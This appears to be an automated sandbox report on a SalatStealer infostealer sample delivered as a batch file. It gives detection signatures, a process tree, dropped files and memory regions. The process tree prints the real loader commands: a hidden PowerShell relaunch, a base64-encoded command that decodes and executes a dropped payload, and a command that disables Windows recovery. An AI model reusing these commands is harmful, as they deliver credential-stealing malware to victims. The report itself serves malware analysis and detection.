Analysis

  • max time kernel
    150s
  • max time network
    153s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    30/10/2026, 05:49

General

  • Target
    service.bat
  • Size 4.6MB
  • Sample261030-gh17aswtbv
  • SHA256 ed77279fe8d326b4215bf612fc232cd5ec1f244635e24ab0acc57dca2721ca64
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Family: salatstealer

    SalatStealer is a stealer that takes sceenshot written in Golang.

  • Detect SalatStealer payload 15 IoCs
  • UAC bypass 3 TTPs 1 IoCs
  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Executes dropped EXE 3 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Drops file in System32 directory 2 IoCs
  • UPX packed file 19 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in Program Files directory 5 IoCs
  • Drops file in Windows directory 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 5 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 48 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 10 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\service.bat"
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:3496
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoP -NonI -W Hidden -c "$p=$env:LCBAT; Start-Process -WindowStyle Hidden -FilePath $env:ComSpec -ArgumentList @('/c',([char]34+$p+[char]34),'h')"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4144
      • C:\Windows\system32\cmd.exe
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\service.bat" h
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:1092
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -NoP -NonI -W Hidden -Exec Bypass -e "JABmAD0AWwBJAE8ALgBQAGEAdABoAF0AOgA6AEcAZQB0AFQAZQBtAHAAUABhAHQAaAAoACkAKwAnAGwAYwBfADMANQA0ADgAXwAxADcAOAA5ADIAMQA4ADMAOAA4ADgANAA4ADAAMQA3ADIAMAAwAC4AbAA2ADQAJwA7ACQAdAA9AFsASQBPAC4ARgBpAGwAZQBdADoAOgBSAGUAYQBkAEEAbABsAFQAZQB4AHQAKAAkAGYAKQAtAHIAZQBwAGwAYQBjAGUAJwBbAFwAcgBcAG4AXQAnACwAJwAnADsAaQBlAHgAKABbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBuAGkAYwBvAGQAZQAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAHQAKQApACkA"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1868
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
            "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\fbtfi3m5\fbtfi3m5.cmdline"
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:2644
            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
              C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES3157.tmp" "c:\Users\Admin\AppData\Local\Temp\fbtfi3m5\CSCD202EB58566F44FCA3CA15EA13F3FCE5.TMP"
              6⤵
                PID:2912
            • C:\Users\Admin\AppData\Local\Temp\p_5c0f8d93-31f5-4135-94f3-2943e5030726.exe
              "C:\Users\Admin\AppData\Local\Temp\p_5c0f8d93-31f5-4135-94f3-2943e5030726.exe"
              5⤵
              • Executes dropped EXE
              • Drops file in Program Files directory
              • Reads the TCP/IP host and domain name from the registry
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of WriteProcessMemory
              PID:5268
              • C:\Program Files (x86)\Windows Defender\sppsvc.exe
                "C:\Program Files (x86)\Windows Defender\sppsvc.exe"
                6⤵
                • Executes dropped EXE
                • Drops file in Program Files directory
                • Reads the TCP/IP host and domain name from the registry
                • System Location Discovery: System Language Discovery
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of WriteProcessMemory
                PID:5596
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                  powershell.exe
                  7⤵
                  • UAC bypass
                  • Badlisted process makes network request
                  • System Location Discovery: System Language Discovery
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  • Suspicious use of WriteProcessMemory
                  PID:1768
                  • C:\Windows\SysWOW64\ReAgentc.exe
                    "C:\Windows\system32\ReAgentc.exe" /disable
                    8⤵
                    • Drops file in System32 directory
                    • Drops file in Windows directory
                    • System Location Discovery: System Language Discovery
                    PID:5616
                • C:\Program Files (x86)\Microsoft\Edge\Application\sppsvc.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\sppsvc.exe" -
                  7⤵
                  • Executes dropped EXE
                  • Reads the TCP/IP host and domain name from the registry
                  • System Location Discovery: System Language Discovery
                  PID:5140
    • C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
      1⤵
        PID:4784
      • C:\Windows\System32\svchost.exe
        C:\Windows\System32\svchost.exe -k netsvcs -p -s BDESVC
        1⤵
          PID:4632

        Network

              MITRE ATT&CK Enterprise v16

              Replay Monitor

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              Downloads

              StartupProfileData-NonInteractive

              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              • Size 1KB
              • SHA256 4e14a7b28afff95b70ba849207619ff903c6ea821b8cf2c12b589579a7d7d3af
              • MD5 SHA1 SHA512 TLSH

              RES3157.tmp

              • Path C:\Users\Admin\AppData\Local\Temp\RES3157.tmp
              • Size 1KB
              • SHA256 9c6ac7fbdbe03931d27a5089c429c30559fbf27ad84f42090519e5e0b43ae6cf
              • MD5 SHA1 SHA512 TLSH

              __PSScriptPolicyTest_22kxfkjw.qrc.ps1

              • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_22kxfkjw.qrc.ps1
              • Size 60B
              • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
              • MD5 SHA1 SHA512 TLSH

              fbtfi3m5.dll

              • Path C:\Users\Admin\AppData\Local\Temp\fbtfi3m5\fbtfi3m5.dll
              • Size 5KB
              • SHA256 8ab86c4e0bd9ad0081224cbc82ccbad97eac339b07a2383046a1b72359732218
              • MD5 SHA1 SHA512 SSDEEP TLSH

              lc_3548_1789218388848017200.b64

              • Path C:\Users\Admin\AppData\Local\Temp\lc_3548_1789218388848017200.b64
              • Size 4.6MB
              • SHA256 3da2c0a994bf3f0c6a1a7a76ecff6c1a31eeec96be03bc86874909a43d929eec
              • MD5 SHA1 SHA512 SSDEEP TLSH

              lc_3548_1789218388848017200.l64

              • Path C:\Users\Admin\AppData\Local\Temp\lc_3548_1789218388848017200.l64
              • Size 10KB
              • SHA256 4798a29f55cd8200581123ae2aaa40a4657edd358b7b5b2831506e41663cc293
              • MD5 SHA1 SHA512 SSDEEP TLSH

              p_5c0f8d93-31f5-4135-94f3-2943e5030726.exe

              • Path C:\Users\Admin\AppData\Local\Temp\p_5c0f8d93-31f5-4135-94f3-2943e5030726.exe
              • Size 3.4MB
              • SHA256 2d14c4c6626d132fceb3e7639a344875db53c10b39a32f0069c3d9453720cd88
              • MD5 SHA1 SHA512 SSDEEP TLSH

              CSCD202EB58566F44FCA3CA15EA13F3FCE5.TMP

              • Path \??\c:\Users\Admin\AppData\Local\Temp\fbtfi3m5\CSCD202EB58566F44FCA3CA15EA13F3FCE5.TMP
              • Size 652B
              • SHA256 9dc5681ff56fe8eadfca3a2e058d014a65f2f0016004b1dd49b10bb780939f34
              • MD5 SHA1 SHA512 TLSH

              fbtfi3m5.0.cs

              • Path \??\c:\Users\Admin\AppData\Local\Temp\fbtfi3m5\fbtfi3m5.0.cs
              • Size 2KB
              • SHA256 f48c932311da4613b034f7a793b257a73ccd428c9c8758b19d312b7d208f3852
              • MD5 SHA1 SHA512 TLSH

              fbtfi3m5.cmdline

              • Path \??\c:\Users\Admin\AppData\Local\Temp\fbtfi3m5\fbtfi3m5.cmdline
              • Size 369B
              • SHA256 a1b6679552496b5f621604e3036e5c9841c32a6414de64a6a3422846470d27b8
              • MD5 SHA1 SHA512 TLSH

              memory/1768-904-0x00000000073E0000-0x00000000073FA000-memory.dmp

              memory/1768-872-0x00000000025C0000-0x00000000025F6000-memory.dmp

              memory/1768-894-0x0000000071110000-0x000000007146B000-memory.dmp

              memory/1768-892-0x0000000007260000-0x0000000007296000-memory.dmp

              memory/1768-891-0x00000000063B0000-0x00000000063F8000-memory.dmp

              memory/1768-890-0x0000000005E70000-0x0000000005EBC000-memory.dmp

              memory/1768-889-0x0000000002910000-0x000000000292E000-memory.dmp

              memory/1768-901-0x00000000072A0000-0x00000000072C0000-memory.dmp

              memory/1768-902-0x00000000072C0000-0x0000000007363000-memory.dmp

              memory/1768-893-0x0000000070C90000-0x0000000070CDC000-memory.dmp

              memory/1768-903-0x0000000007A30000-0x00000000080AC000-memory.dmp

              memory/1768-905-0x0000000007440000-0x000000000744A000-memory.dmp

              memory/1768-880-0x0000000005950000-0x0000000005CAB000-memory.dmp

              memory/1768-906-0x00000000074F0000-0x0000000007586000-memory.dmp

              memory/1768-907-0x00000000078C0000-0x00000000078E2000-memory.dmp

              memory/1768-908-0x0000000008670000-0x0000000008C2A000-memory.dmp

              memory/1768-877-0x0000000005040000-0x0000000005062000-memory.dmp

              memory/1768-879-0x0000000005250000-0x00000000052B6000-memory.dmp

              memory/1768-878-0x00000000051E0000-0x0000000005246000-memory.dmp

              memory/1768-875-0x0000000005300000-0x000000000594A000-memory.dmp

              memory/1868-821-0x00007FFB997B0000-0x00007FFB9A154000-memory.dmp

              memory/1868-855-0x00007FFB997B0000-0x00007FFB9A154000-memory.dmp

              memory/1868-819-0x00007FFB997B0000-0x00007FFB9A154000-memory.dmp

              memory/1868-820-0x00007FFB997B0000-0x00007FFB9A154000-memory.dmp

              memory/1868-822-0x00007FFB997B0000-0x00007FFB9A154000-memory.dmp

              memory/1868-843-0x00000222F7E30000-0x00000222F7E38000-memory.dmp

              memory/4144-1-0x00007FFB997B0000-0x00007FFB9A154000-memory.dmp

              memory/4144-13-0x00007FFB997B0000-0x00007FFB9A154000-memory.dmp

              memory/4144-10-0x00007FFB997B0000-0x00007FFB9A154000-memory.dmp

              memory/4144-11-0x00007FFB997B0000-0x00007FFB9A154000-memory.dmp

              memory/4144-12-0x00007FFB997B0000-0x00007FFB9A154000-memory.dmp

              memory/4144-8-0x00007FFB997B0000-0x00007FFB9A154000-memory.dmp

              memory/4144-14-0x00007FFB997B0000-0x00007FFB9A154000-memory.dmp

              memory/4144-0-0x00007FFB9993F000-0x00007FFB99940000-memory.dmp

              memory/4144-15-0x00007FFB997B0000-0x00007FFB9A154000-memory.dmp

              memory/4144-2-0x000002076EC50000-0x000002076EC72000-memory.dmp

              memory/4144-17-0x00007FFB997B0000-0x00007FFB9A154000-memory.dmp

              memory/5140-888-0x00000000006D0000-0x0000000001325000-memory.dmp

              memory/5140-876-0x00000000006D0000-0x0000000001325000-memory.dmp

              memory/5268-857-0x0000000000100000-0x0000000000D55000-memory.dmp

              memory/5268-864-0x0000000000100000-0x0000000000D55000-memory.dmp

              memory/5268-853-0x0000000000100000-0x0000000000D55000-memory.dmp

              memory/5268-858-0x0000000000100000-0x0000000000D55000-memory.dmp

              memory/5596-868-0x00000000008E0000-0x0000000001535000-memory.dmp

              memory/5596-867-0x00000000008E0000-0x0000000001535000-memory.dmp

              memory/5596-865-0x00000000008E0000-0x0000000001535000-memory.dmp

              memory/5596-909-0x00000000008E0000-0x0000000001535000-memory.dmp

              memory/5596-916-0x00000000008E0000-0x0000000001535000-memory.dmp

              memory/5596-917-0x00000000008E0000-0x0000000001535000-memory.dmp

              memory/5596-918-0x00000000008E0000-0x0000000001535000-memory.dmp

              memory/5596-919-0x00000000008E0000-0x0000000001535000-memory.dmp

              memory/5596-920-0x00000000008E0000-0x0000000001535000-memory.dmp

              memory/5596-921-0x00000000008E0000-0x0000000001535000-memory.dmp

              memory/5596-922-0x00000000008E0000-0x0000000001535000-memory.dmp

              memory/5596-923-0x00000000008E0000-0x0000000001535000-memory.dmp